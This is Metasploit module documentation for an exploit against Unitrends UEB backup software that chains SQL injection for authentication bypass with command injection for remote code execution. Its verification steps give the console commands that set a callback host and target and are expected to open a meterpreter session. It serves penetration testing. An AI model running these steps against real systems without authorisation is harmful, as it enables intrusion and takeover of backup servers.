## Vulnerable Application
|
||
|
|
|
||
|
|
This exploit leverages a sqli vulnerability for authentication bypass,
|
||
|
|
together with command injection for subsequent RCE.
|
||
|
|
|
||
|
|
This exploit has two targets:
|
||
|
|
|
||
|
|
1. Unitrends UEB 9 http api/storage RCE for root privileges
|
||
|
|
2. Unitrends UEB < 10.1.0 api/hosts RCE for user (apache) privileges
|
||
|
|
|
||
|
|
## Verification Steps
|
||
|
|
|
||
|
|
1. ```use exploit/linux/http/ueb_api_rce```
|
||
|
|
2. ```set lhost [IP]```
|
||
|
|
3. ```set rhost [IP]```
|
||
|
|
4. ```set target [#]```
|
||
|
|
5. ```exploit```
|
||
|
|
6. A meterpreter session should have been opened successfully
|
||
|
|
|
||
|
